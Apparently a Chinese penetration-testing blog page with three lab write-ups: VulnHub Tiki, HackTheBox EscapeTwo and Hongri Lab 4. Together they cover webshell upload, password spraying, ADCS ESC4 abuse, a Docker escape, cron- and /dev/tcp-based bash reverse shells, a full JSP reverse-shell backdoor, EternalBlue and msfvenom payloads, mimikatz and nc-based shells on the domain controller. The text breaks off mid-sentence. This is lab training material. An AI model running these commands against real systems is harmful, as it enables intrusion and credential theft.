首页
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
7,910 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
5,175 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
4,322 阅读
4
几个常见的密码字典推荐
3,402 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
3,214 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
SQL注入
靶场实战
提权
代理隧道
域渗透
信息收集
权限提升
WAF绕过
hackmyvm
AI安全
云安全
权限维持
红队攻击
蓝队防御
云服务
白小羽
累计撰写
188
篇文章
累计收到
0
条评论
首页
导航
工具导航
留言面板
友情链接
搜索到
67
篇与
的结果
2025-05-18
Tiki提权靶机渗透
【OSCP】Tiki提权靶机渗透下载链接:https://www.vulnhub.com/entry/tiki_1,525/做题一定要先看题目,提示我们有一个CVE漏洞哦,不,我们的网络服务器被入侵了。攻击者使用的是Oday,所以我们不知道他是如何进入管理面板的。调查。 这是一个OSCP准备盒,是基于我最近发现的一个CVE。它在OSCP实验室机器级别。 如果你需要提示联系我在Twitter上:S1lky_1337,应该在VirtualBox和Vmware上工作。arp-scan -l 主机发现和端口扫描访问80端口直接上信息收集插件Wappalyzer内容管理系统漏洞检索,但是不清楚版本信息查看源代码直接搜索相关的版本关键字(没有什么东西)再找找和官网url相关的信息(有些cms应用在跳转链接的时候呢会加上版本信息)目录扫描出来一个文件,泄露了版本信息dirsearch -u http://10.10.10.196/tiki那么直接返回来看漏洞信息,选择那个21版本的searchsploit -m 48927告诉我们管理员密码被删除,使用BurpSuite可以直接登录成功,那么它的登录框在哪呢Admin Password got removed. Use BurpSuite to login into admin without a password从目录扫描的结果中可以看到,但是没有权限后面又看了看主页。。。尝试登录的时候我们要把pass删除再发送请求,这样就能直接登录成功(漏洞脚本提示),也可以直接用BurpSuite,原理都是一样的这儿有一个文件上传上传一句话木马这个能看到页面源码尝试连接,失败查看所有修改过的页面有一对账号密码silky:Agy8Y7SPJNXQzqAssh登录成功有了密码直接sudo,发现所有文件都能sudo,那么sudo -i至此提权成功!往期推荐红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学Linux 32位Crossfire游戏缓冲区溢出独立开发零显卡AI引擎!媲美DeepSeek,附源码【OSCP】Tr0ll 靶机全系列(1-3),FTP被玩坏了神器分享 红队快速打点工具-DarKnuclei从零开始学SQL注入(sql十大注入类型):技术解析与实战演练【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏【渗透测试】12种rbash逃逸方式总结利用MySQL特性,WAF绕过技巧SQL注入绕过某狗的WAF防火墙,这一篇就够了,6k文案超详细
2025年05月18日
1,298 阅读
0 评论
0 点赞
2025-05-18
HTB-EscapeTwo
HTB:EscapeTwo已有信息为rose/KxEPkKe6R8su我们使用nmap进行端口扫描nmap -sT -p- -T5 -A -Pn 10.10.11.51Tips:如果发现端口扫描的慢的话,要用代理比如小猫,kali代理到小猫的那个端口,修改proxychAIns的配置文件 /etc/proxychAIns4.conf 然后 proxychAIns openvpn lab_xxxxx.ovpn 挂到后台就行修改hostsecho "10.10.11.51 sequel.htb" | sudo tee -a /etc/hosts尝试一个基本的SMB枚举(已知信息),看看是否能登录成功┌──(root㉿kali)-[/data/demo] └─# crackmapexec SMB sequel.htb -u rose -p KxEPkKe6R8su --computers SMB sequel.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domAIn:sequel.htb) (signing:True) (SMBv1:False) SMB sequel.htb 445 DC01 [+] sequel.htbrose:KxEPkKe6R8su SMB sequel.htb 445 DC01 [+] Enumerated domAIn computer(s) SMB sequel.htb 445 DC01 sequel.htbDC01$枚举SMB服务器共享信息SMBmap -u 'rose' -p 'KxEPkKe6R8su' -H 10.10.11.51使用SMBclient登录┌──(root㉿kali)-[/data/demo] └─# smbclient //sequel.htb/Users -U sequel.htb\rose Password for [SEQUEL.HTBrose]: Try "help" to get a list of possible commands. smb: > dir . DR 0 Sun Jun 9 09:42:11 2024 .. DR 0 Sun Jun 9 09:42:11 2024 Default DHR 0 Sun Jun 9 07:17:29 2024 desktop.ini AHS 174 Sat Sep 15 03:16:48 2018 6367231 blocks of size 4096. 880750 blocks avAIlable smb: > ┌──(root㉿kali)-[~] └─# smbclient //sequel.htb/'Accounting Department' -U sequel.htb\rose Password for [SEQUEL.HTBrose]: Try "help" to get a list of possible commands. smb: > dir . D 0 Sun Jun 9 06:52:21 2024 .. D 0 Sun Jun 9 06:52:21 2024 accounting_2024.xlsx A 10217 Sun Jun 9 06:14:49 2024 accounts.xlsx A 6780 Sun Jun 9 06:52:07 2024 6367231 blocks of size 4096. 871029 blocks avAIlable smb: >参数解释smbclient : 这是一个用于与SMB/CIFS(Common Internet File System)服务器进行交互的命令行工具。它可以用来浏览共享资源、上传/下载文件等操作。//sequel.htb/Users : // 这是目标SMB共享的起始路径,sequel.htb是目标主机的域名或IP地址,Users 是共享资源的名称,通常表示存储用户文件的共享文件夹。-U sequel.htb\rose : -U参数用于指定连接时使用的用户名,sequel.htb工作组/域,rose具体的用户名执行该命令后,系统通常会提示输入 rose 用户的密码。输入正确的密码后,用户将能够访问 Users 共享中的文件和目录,类似于在文件资源管理器中访问网络共享。我们登录到Accounting Department这个smb服务器的时候发现了两个xlsx表格文件,我们尝试将这个文件下载下来我们使用get命令下载这两个文件此时得到了密码信息angela/0fwz7Q4mSpurIt99 oscar/86LxLBMgEWaKUnBG kevin/Md9Wlq1E5bZnVDVo sa/MSSQLP@ssw0rd!有一个sa账户,像是mssql的用户名和密码,并且1433端口也是开启的(待会会用上)我们将上面的密码保存到一个txt文件中,枚举域内用户echo '0fwz7Q4mSpurIt99 86LxLBMgEWaKUnBG Md9Wlq1E5bZnVDVo MSSQLP@ssw0rd!' > pass.txt netexec ldap 10.10.11.51 -d sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --users将用户名保存到user.txtAdministrator Guest krbtgt michael ryan oscar sql_svc rose ca_svc此时你的目录下面有这四个文件┌──(root㉿kali)-[/data/demo] └─# ls accounting_2024.xlsx accounts.xlsx pass.txt user.txt就接下来使用密码喷洒得到账号密码信息oscar 86LxLBMgEWaKUnBG通过 WinRM(Windows Remote Management)协议对目标主机 10.10.11.51 进行身份验证nxc winrm 10.10.11.51 -u 'oscar' -p '86LxLBMgEWaKUnBG'利用mssql执行系统命令netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -X 'whoami'利用dir进行目录遍历,发现一个sql2019,应该是mssql的目录netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -X 'dir c:/'继续遍历netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -X 'dir c:SQL2019ExpressAdv_ENU'发现一个sql-Configuration.INI文件netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -X 'dir c:SQL2019ExpressAdv_ENU'查看文件内容netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -X 'type c:SQL2019ExpressAdv_ENUsql-Configuration.INI'发现两个东西SQLSVCPASSWORD="WqSZAF6CysDQbGb3" SQLSVCACCOUNT="SEQUELsql_svc"参数介绍SQLSVCACCOUNT表示 SQL Server 服务将在一个名为 sql_svc 的域账户下运行。SQLSVCPASSWORD 是 SQLSVCACCOUNT 账户的密码再次进行密码喷洒 netexec mssql 10.10.11.51 -u user.txt -p 'WqSZAF6CysDQbGb3' --continue-on-success得出两个凭证,测试哪个能利用winrm进行登录netexec winrm 10.10.11.51 -u user.txt -p 'WqSZAF6CysDQbGb3' --continue-on-success得出一个结果ryan用户能使用远程登录evil-winrm -i 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3'切换到ryan的桌面,找到第一个flag提权域内信息收集使用netexec枚举靶机域内信息netexec ldap 10.10.11.51 -d sequel.htb -u 'ryan' -p 'WqSZAF6CysDQbGb3' --dns-server 10.10.11.51 --bloodhound -c Allbloodhound用于分析和可视化域内的用户、组、计算机、权限关系等数据,帮助安全研究人员或攻击者快速发现攻击路径和权限提升机会。下载由图标可见,ryan用户对ca_svc用户具有WriteOwner权限查看ca_svc用户信息net user ca_svc /domAIn由输出可见,该用户属于Cert Publishers组使用bloodyAD将ca_syc用户拥有者修改为ryan用户┌──(root㉿kali)-[/data/Windows_atk/script] └─# bloodyAD -d sequel.htb --dc-ip 10.10.11.51 --dns 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan' [+] Old owner S-1-5-21-548670397-972687484-3496335370-512 is now replaced by ryan on ca_svc使用 ryan 的凭据将 AD 对象 ca_svc 的所有者权限转移给 ryan,是典型的权限提升或后渗透操作。成功执行后,攻击者可完全控制 ca_svc 账户,进一步渗透域环境。这里如果失败的话呢,需要重置一下机器,因为可能是别人打过的┌──(root㉿kali)-[/data/Windows_atk/script] └─# python dacledit.py -action 'write' -principal 'ryan' -target 'ca_svc' 'sequel.htb/ryan:WqSZAF6CysDQbGb3' Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [*] DACL backed up to dacledit-20250309-193835.bak [*] DACL modified successfully!将本地时钟与靶机同步sudo ntpdate 10.10.11.51使用certipy-ad创建ca_svc用户影子证书,获得该用户NTLM密码哈希certipy-ad shadow auto -u 'ryan@sequel.htb' -p 'WqSZAF6CysDQbGb3' -account 'ca_svc' -target sequel.htb -dc-ip 10.10.11.51 -ns 10.10.11.51账号:ca_svc密码hash:3b181b914e7a9d5508ea1e20bc2b7fcegit clone https://github.com/r3motecontrol/Ghostpack-CompiledBinaries.git cd .Ghostpack-CompiledBinaries upload Certify.exe .Certify.exe find /domAIn:sequel.htb由输出可见,该模板对DomAIn Admins具有注册权利,而且Cert Publishers对该模板具有完全控制权限,因此恶意利用该模板即可获取管理员密码哈希使用certipy-ad通过ca_svc哈希密码枚举靶机ADCS尝试发现该漏洞┌──(root㉿kali)-[/data/Windows_atk/script] └─# certipy-ad find -u ca_svc@10.10.11.51 -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -vulnerable -stdout Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Finding certificate templates [*] Found 34 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 12 enabled certificate templates [*] Trying to get CA configuration for 'sequel-DC01-CA' via CSRA [!] Got error while trying to get CA configuration for 'sequel-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error. [*] Trying to get CA configuration for 'sequel-DC01-CA' via RRP [*] Got CA configuration for 'sequel-DC01-CA' [*] Enumeration output: Certificate Authorities 0 CA Name : sequel-DC01-CA DNS Name : DC01.sequel.htb Certificate Subject : CN=sequel-DC01-CA, DC=sequel, DC=htb Certificate Serial Number : 152DBD2D8E9C079742C0F3BFF2A211D3 Certificate Validity Start : 2024-06-08 16:50:40+00:00 Certificate Validity End : 2124-06-08 17:00:40+00:00 Web Enrollment : Disabled User Specified SAN : Disabled Request Disposition : Issue Enforce Encryption for Requests : Enabled Permissions Owner : SEQUEL.HTBAdministrators Access Rights ManageCertificates : SEQUEL.HTBAdministrators SEQUEL.HTBDomain Admins SEQUEL.HTBEnterprise Admins ManageCa : SEQUEL.HTBAdministrators SEQUEL.HTBDomain Admins SEQUEL.HTBEnterprise Admins Enroll : SEQUEL.HTBAuthenticated Users Certificate Templates 0 Template Name : DunderMifflinAuthentication Display Name : Dunder Mifflin Authentication Certificate Authorities : sequel-DC01-CA Enabled : True Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False Certificate Name Flag : SubjectRequireCommonName SubjectAltRequireDns Enrollment Flag : AutoEnrollment PublishToDs Private Key Flag : 16842752 Extended Key Usage : Client Authentication Server Authentication Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Validity Period : 1000 years Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Permissions Enrollment Permissions Enrollment Rights : SEQUEL.HTBDomain Admins SEQUEL.HTBEnterprise Admins Object Control Permissions Owner : SEQUEL.HTBEnterprise Admins Full Control Principals : SEQUEL.HTBCert Publishers Write Owner Principals : SEQUEL.HTBDomain Admins SEQUEL.HTBEnterprise Admins SEQUEL.HTBAdministrator SEQUEL.HTBCert Publishers Write Dacl Principals : SEQUEL.HTBDomain Admins SEQUEL.HTBEnterprise Admins SEQUEL.HTBAdministrator SEQUEL.HTBCert Publishers Write Property Principals : SEQUEL.HTBDomain Admins SEQUEL.HTBEnterprise Admins SEQUEL.HTBAdministrator SEQUEL.HTBCert Publishers [!] Vulnerabilities ESC4 : 'SEQUEL.HTB\Cert Publishers' has dangerous permissions由末尾输出可见,利用该模板可导致ESC4漏洞攻击certipy-ad template -u ca_svc@sequel.htb -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -k -template 'DunderMifflinAuthentication' -target DC01.sequel.htb -ns 10.10.11.51 -debug使用certipy-ad请求一份Administrator用户符合模板要求的证书certipy-ad req -u ca_svc@sequel.htb -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -template 'DunderMifflinAuthentication' -upn Administrator@sequel.htb -target DC01.sequel.htb -ns 10.10.11.51 -dns 10.10.11.51 -dc-ip 10.10.11.51使用certipy-ad借助pfx证书通过身份认证,使用impacket-psexec通过上述哈希凭证登录靶机certipy-ad auth -pfx administrator_10.pfx impacket-psexec sequel.htb/administrator@10.10.11.51 -hashes 'aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff'C:UsersAdministratorDesktop 找到root.txt文件C:UsersAdministratorDesktop> type root.txt 6ca10bc95839bb3243539e3d7ea4f362至此,靶机渗透结束往期推荐红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学Linux 32位Crossfire游戏缓冲区溢出独立开发零显卡AI引擎!媲美DeepSeek,附源码【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了神器分享 红队快速打点工具-DarKnuclei从零开始学SQL注入(sql十大注入类型):技术解析与实战演练【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏【渗透测试】12种rbash逃逸方式总结利用MySQL特性,WAF绕过技巧SQL注入绕过某狗的WAF防火墙,这一篇就够了,6k文案超详细
2025年05月18日
1,054 阅读
0 评论
0 点赞
2025-05-18
不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学
十年磨一剑!本次靶机呢,也不算存手工注入,就是介绍了不用MSF的打法,文章很长,但是呢能学到的东西很多很多!比如隧道搭建是proxychains+frp,然后Docker逃逸,域控,横向移动,权限提升,写公匙获取交互式shell,永恒之蓝利用等等,网上很多教程都不是最新的,复现起来有点困难,对于Windows渗透不太了解的师傅们可以学习学习,感谢阅读前言最近vulnstack官网进不去了,还好之前保存在自己度盘的,需要自取,一共8个,红日1-8全都在,一共500G左右,下载还请预留好一定的空间通过网盘分享的文件:红日靶场 链接: https://pan.baidu.com/s/1ppyPlm6osobxReI50fCSZw 提取码: uze8 这是红日官网,进不去了都环境配置打开虚拟机后web设置网卡1为nat模式,网卡2为仅主机模式,密码为ubuntusudo Docker start ec 17 09 bb da 3d ab ad sudo Docker ps第二台系统是Windows的,网卡是仅主机模式第三台DC域控仅主机模式网络配置好后,得以登录看看靶机的网络环境ubuntu:ubuntu 10.10.10.131 192.168.183.129 域成员机器win douser:Dotest123 192.168.183.128 DC administrator:Test2008 192.168.183.130网络拓步结构环境配置好后就可以开始渗透了外网打点利用arp-scan进行主机探测对扫描出来的ip进行端口扫描,发现靶机开启了2001、2002、2003端口并且这三个端口都是http服务,也就是说我们能通过网页直接访问到2001端口如下,Struts2服务(可以看网页标题)2002端口如下,这是一个Apache Tomcat服务2003端口,phpmyadmin,一个数据库管理工具Struts2渗透那么一个一个来看吧,利用Struts2漏洞扫描工具执行命令测试利用bash进行反弹Shell,并且shell是root的,但是这是Docker环境/bin/bash -i >& /dev/tcp/10.10.10.130/1234 0>&1在Docker的渗透过程中呢,如果得到了某一个Docker环境远远是不够的,通常需要得到多个Docker环境的权限,来判断当前Docker环境是否能够进行Docker逃逸,这样才能提高渗透成功的概率,接下来是TomcatTomcat渗透Nikto,它是一个开源的网络安全扫描工具,简称漏扫工具nikto -url http://10.10.10.131:2002/发现能够使用PUT方法进行上传文件,可以手动,但是不建议,我们直接用poc打python 42966.py根据使用方法,得到如下命令,成功获取webshellpython 42966.py -u http://10.10.10.131:2002/ -p pwnphpmyadmin渗透切换到主页,这里能看到phpmyadmin的版本号为4.8.1发现此版本的phpmyadmin存在文件包含和远程命令执行漏洞我们利用第一个exp┌──(root㉿kali)-[/data/exp/demo] └─# cat 44924.txt | grep http http://127.0.0.1/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../windows/wininit.ini http://127.0.0.1/phpmyadmin/index.php?a=phpinfo();&target=db_sql.php%253f/../../../../../../phpStudy/PHPTutorial/MySQL/data/hack/hack.frm成功利用文件包含的pochttp://10.10.10.131:2003/index.php?target=db_sql.php%253f/../../../../../../etc/passwd文件包含phpmyadmin日志文件首先是日志包含,在日志包含之前我们需要先查看mysql的命令执行日志的路径SHOW VARIABLES LIKE 'general_log_file'; /var/lib/mysql/ad7866b3df9b.log写入日志select "<?php @eval($_GET['123']);?>";包含日志文件,报错了,这个包含方法不行,那么就换一个文件包含http://10.10.10.131:2003/index.php?target=db_sql.php%253f/../../../../../../var/lib/mysql/ad7866b3df9b.log?123=lssession文件创建shell我们创建一个数据表写入一句话 <?php @eval($_GET['123']);?>查看session,为3cfb6084f034677df82ef00120cce4fd包含sessionhttp://10.10.10.131:2003/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_3cfb6084f034677df82ef00120cce4fd执行命令,失败http://10.10.10.131:2003/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_3cfb6084f034677df82ef00120cce4fd?123=lsshell获取失败Docker逃逸docker信息收集,判断当前环境是否是docker环境,可以看到这个是属于docker环境的ls -alh /.dockerenv cat /proc/1/cgroup特权逃逸如果管理员启动某一个容器的时候呢,利用了docker run -privileged时,docker容器将被允许访问主机上的所有设备,并且可以执行mount命令进行挂载mkdir /tmp/forest mount /dev/sda1 /tmp/forest这里struts2服务逃逸失败了,之前我们不是得到了Tomcat的shell嘛,我们利用这个试试(这俩个是不同的docker环境),这里就能挂载成功了mkdir /tmp/forest mount /dev/sda1 /tmp/forest ls /tmp/forest成功挂载了,那么我们就要获取稳定shell,这个shell不稳定,经过测试python等一系列反弹都不行,那么就切换思路,利用kali自带的反弹Shell的jsp脚本// backdoor.jsp // http://www.security.org.sg/code/jspreverse.html <%@ page import="java.lang.*, java.util.*, java.io.*, java.net.*" %> <%! static class StreamConnector extends Thread { InputStream is; OutputStream os; StreamConnector(InputStream is, OutputStream os) { this.is = is; this.os = os; } public void run() { BufferedReader isr = null; BufferedWriter osw = null; try { isr = new BufferedReader(new InputStreamReader(is)); osw = new BufferedWriter(new OutputStreamWriter(os)); char buffer[] = new char[8192]; int lenRead; while( (lenRead = isr.read(buffer, 0, buffer.length)) > 0) { osw.write(buffer, 0, lenRead); osw.flush(); } } catch (Exception ioe) {} try { if(isr != null) isr.close(); if(osw != null) osw.close(); } catch (Exception ioe) {} } } %> <h1>JSP Backdoor Reverse Shell</h1> <form method="post"> IP Address <input type="text" name="ipaddress" size=30> Port <input type="text" name="port" size=10> <input type="submit" name="Connect" value="Connect"> </form> <p> <hr> <% String ipAddress = request.getParameter("ipaddress"); String ipPort = request.getParameter("port"); if(ipAddress != null && ipPort != null) { Socket sock = null; try { sock = new Socket(ipAddress, (new Integer(ipPort)).intValue()); Runtime rt = Runtime.getRuntime(); Process proc = rt.exec("/bin/bash"); StreamConnector outputConnector = new StreamConnector(proc.getInputStream(), sock.getOutputStream()); StreamConnector inputConnector = new StreamConnector(sock.getInputStream(), proc.getOutputStream()); outputConnector.start(); inputConnector.start(); } catch(Exception e) {} } %> <!-- http://michaeldaw.org 2006 -->在主页随便点一点找到网页上的这个文件find / -name security-howto.html然后将这个webshell下载下来,复制到这个目录下面wget 10.10.10.130:5000/jsp-reverse.jsp cp jsp-reverse.jsp /usr/local/tomcat/webapps/docs/输入ip和端口就可以反弹啦但是呐,创建不了交互式终端呢,有点难受奥,即使创建了,也是docker环境呢python2 -c 'import pty;pty.spawn("/bin/bash")'那么就使用上传公匙的方法免密登录ssh-keygen -t rsa -b 4096 # 回车 # 回车 # 回车靶机依次执行如下命令wget 10.10.10.130:5000/rain.pub chmod 700 /tmp/forest/home/ubuntu/.ssh/ cp rain.pub /tmp/forest/home/ubuntu/.ssh/authorized_keys chmod 600 /tmp/forest/home/ubuntu/.ssh/authorized_keyskali尝试连接(失败)经过测试很多遍了,靶机的/etc/ssh/sshd_config文件也修改了,还是不行ssh ubuntu@10.10.10.131开始排错,这个公匙权限是root,但是呢我们连接的时候使用的是ubuntu用户,而这个.ssh目录也是ubuntu用户的目录,所以连接的时候权限对不上,也会导致使用私匙连接失败但由于我们获取的是docker环境的shell,是没有ubuntu用户的,我们需要添加一个ubuntu用户useradd ubuntu chown ubuntu:ubuntu authorized_keys ls -al total 16 drwx------ 2 ubuntu ubuntu 4096 Feb 15 08:31 . drwxr-xr-x 17 ubuntu ubuntu 4096 Feb 15 08:26 .. -rw------- 1 ubuntu ubuntu 735 Feb 15 08:31 authorized_keys -rw-r----- 1 root root 91 Feb 15 08:05 rain.pub还是需要我们输入密码,权限给了,用户也添加了,卧槽我能怎么办。。。。。。那么大概率就是算法问题了,强制添加选项(卧槽,搞我半天,心态崩了)ssh ubuntu@10.10.10.131 -oPubkeyAcceptedKeyTypes=+ssh-rsa -i rain_rsassh连接问题排错方案给三个参考,目前我打靶所遇到的,可以写在自己的笔记里面ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss vmware@10.10.10.130 # Unable to negotiate with 10.10.10.129 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss ssh ubuntu@10.10.10.131 -oPubkeyAcceptedKeyTypes=+ssh-rsa -i id_rsa ssh -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa -i rain_rsa ubuntu@10.10.10.131内网信息收集我们还没有得到ubuntu的密码,获取不了最高root权限(sudo)不支持本地提权,像常规的suid提权都不行查看计划任务,没有ubuntu这个用户可以写的文件但是还有一种方式哈,我们刚刚获取的逃逸成功的shell,它是不是root?我们用这个root追加一个计划任务,那么真实的靶机就会定时执行这个命令是吧,前面我们密匙都登录成功了,这个问题还不简单嘛echo "/bin/bash -i >& bash -i >& /dev/tcp/10.10.10.130/1234 0>&1">> /tmp/forest/tmp/shell.sh chmod +x /tmp/forest/tmp/shell.sh cat /tmp/forest/tmp/shell.sh # 写入crontab计划任务,表示每隔1分钟以root权限执行一次计划 echo '*/1 * * * * root bash /tmp/shell.sh' > /tmp/forest/etc/crontab cat /tmp/forest/etc/crontab nc -lvnp 1234等待1分钟即可反弹成功创建交互式终端python3 -c 'import pty;pty.spawn("/bin/bash")'查看网卡内网主机发现root@ubuntu:/tmp# for i in {1..254}; do (ping -c 1 192.168.183.${i} | grep "bytes from" | grep -v "Unreachable" &); done; 64 bytes from 192.168.183.128: icmp_seq=1 ttl=128 time=0.682 ms 64 bytes from 192.168.183.129: icmp_seq=1 ttl=64 time=0.031 ms 64 bytes from 192.168.183.130: icmp_seq=1 ttl=128 time=0.829 ms发现了另外两台靶机,写入端口扫描工具,把扫描出来的另外两个靶机放入这个hosts变量里面#!/bin/bash hosts=( "192.168.183.128" "192.168.183.130" ) END=65535 for host in "${hosts[@]}" do echo "===============================" echo "Scanning $host" echo "===============================" for ((port=1;port<=END;port++)) do echo "" > /dev/tcp/$host/$port && echo "Port $port is open" done 2>/dev/null done扫描结果,第二个机器扫不出来结果,大概率是禁ping或者开了防火墙frp隧道搭建服务端开启frp服务器web靶机连接服务端编辑修改/etc/proxychains4.conf的最后一行数据使用Nmap对刚刚扫描出来的一个端口进行测试,135端口开启,代理成功!!proxychains Nmap -sT -sV 192.168.183.128 -Pn -T4 -p 135增加端口数量proxychains Nmap -sT -sV 192.168.183.128 -Pn -T4 -p 135,139,445,5357,49152,49153,49154,49155,49156,49157从上面的服务来看,大概率是一个Windows服务器,还开着一个http端口,访问一下看看,报了503服务器内部错误对445端口增加漏洞扫描的Nmap脚本proxychains Nmap -sT -sV 192.168.183.128 -Pn -T4 -p 445 --script=vulnms17-010很熟悉吧,是永痕之蓝如果说我们需要从对方的内网反弹Shell反弹到我们的kali上,那么就需要配置端口转发,服务器靶机执行如下命令,我们前面已经获取到了最高权限iptables -t nat -A PREROUTING -p tcp --dport 2222 -j DNAT --to-destination 10.10.10.130:4444这里我就不用端口转发了,没有用成功,感兴趣的可以试试(192.168.183.149是我的win7地址,中途恢复了快照几次),另外下面这个生成了两个payload,因为目前我们还不知道目标是x86还是x64的操作系统,所以生成了两个,然后合并成一个,这样就可以双利用了(注意要多打几次,否则可能利用不成功或者造成蓝屏)git clone https://github.com/worawit/MS17-010.git nasm -f bin eternalblue_kshellcode_x64.asm -o ./sc_x64_kernel.bin nasm -f bin eternalblue_kshellcode_x86.asm -o ./sc_x86_kernel.bin MSFvenom -p Windows/x64/shell_reverse_tcp LPORT=2222 LHOST=192.168.183.129 --platform Windows -a x64 --format raw -o sc_x64_payload.bin MSFvenom -p Windows/shell_reverse_tcp LPORT=2222 LHOST=192.168.183.129 --platform Windows -a x86 --format raw -o sc_x86_payload.bin cat sc_x64_kernel.bin sc_x64_payload.bin > sc_x64.bin cat sc_x86_kernel.bin sc_x86_payload.bin > sc_x86.bin python eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin proxychains python ../eternalblue_exploit7.py 192.168.183.149 sc_all.bin反弹成功chcp 65001解决乱码问题域渗透查看所有网络信息,这里我没有画,稍微注意一下dns的地址,是192.168.183.130ipconfig /all查看域内用户,和本机用户,本机用户已经是最高system权限了,但是呢不在域用户列表中通过ping就可以获取目标IP信息啦,并且呢我们可以发现,这个地址是和dns地址一样的查看administrators组的成员如果没有密码,那就是目标靶机没有登录,需要登录一下,这样这些凭证才能保存到本地mimikatz.exe sekurlsa::logonpasswords记录一下sid为:S-1-5-21-979886063-1111900045-1414766810-1107利用ms14-068进行域内提权,伪造黄金票据,获取域控的操作权限ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123利用mimikatz.exe导入上面生成的票据mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造 mimikatz # kerberos::list //查看当前机器凭证 mimikatz # kerberos::ptc TGT_douser@DEMO.COM.ccache //将票据注入到内存中连接并查看域控,连接成功!通过net use挂载域控共享目录net use WIN-ENS2VR5TR3N dir \WIN-ENS2VR5TR3Nc$web肉鸡(ubuntu)因为只有它出网:wget https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip unzip netcat-win32-1.12.zip python3 -m http.server将这个文件传上win7,由于cmd没有curl和wget等命令,但是测试了certutil可以使用,那么就用这个从web服务器下载下来,win7:certutil -urlcache -split -f http://192.168.183.129:8000/nc.exe c:nc.exe再将这个nc.exe复制到域控主机上copy C:nc.exe \WIN-ENS2VR5TR3Nc$nc.exe接着新建任务来关闭域控的防火墙sc \WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \WIN-ENS2VR5TR3N start unablefirewallwin7创建nc反弹任务sc \WIN-ENS2VR5TR3N create ncshell binpath= "c:nc.exe 192.168.183.129 1234 -e cmd" sc \WIN-ENS2VR5TR3N start ncshellweb服务器别忘记开nc监听nc -lnvp 1234拿到域控主机,获取主机密码,将win7的mimikatz复制到域控主机上copy mimikatz.exe \WIN-ENS2VR5TR3Nc$mimikatz.exe dir \WIN-ENS2VR5TR3Nc$在反弹成功的shell中执行刚刚复制下来的mimikatzmimikatz.exe sekurlsa::logonpasswords成功拿下域控的密码!!开启远程连接放行TCP端口3389,前面已经关闭了防火墙,这一步可以跳过etsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389修改注册表,设置允许远程登录,需要重启一下,会发现获取不到挂载的域控目录信息了,重新根据上面的步骤再来一遍就行了reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f shutdown /r /t 0打开proxifier开启全局代理,设置socks5连接kali的proxychains端口此时就可以用Windows的远程连接了远程连接成功!成功拿下域控主机远程访问权限!至此,渗透结束,当然还可以继续渗透,清理操作日志,也就几条命令的事儿。感兴趣的朋友们可以自行尝试另外也有第二种方法来,域控主机也是存在永恒之蓝漏洞的,然后利用域控主机横向到win7主机proxychains Nmap -sT 192.168.183.130 -p 445 --script=vuln报告总结一、测试目标概述靶场环境:由三台主机组成的域渗透环境(Ubuntu Web服务器、Windows域成员机、Windows域控服务器)网络拓扑: 外网段:10.10.10.0/24 内网段:192.168.183.0/24 核心目标:从外网突破至内网,获取域控(DC)权限。 二、渗透测试流程阶段一:外网打点 主机发现 使用arp-scan探测内网存活主机,定位Web服务器(10.10.10.131)。 端口扫描发现开放服务: 2001端口:Apache Struts2服务 2002端口:Tomcat管理界面 2003端口:phpMyAdmin 漏洞利用 Struts2 S2-045漏洞 使用公开EXP执行命令,获取Docker容器内Root权限,确认容器逃逸需求。# 反弹Shell命令 /bin/bash -i >& /dev/tcp/攻击机IP/端口 0>&1 Tomcat PUT方法任意文件上传 利用CVE-2017-12615上传JSP 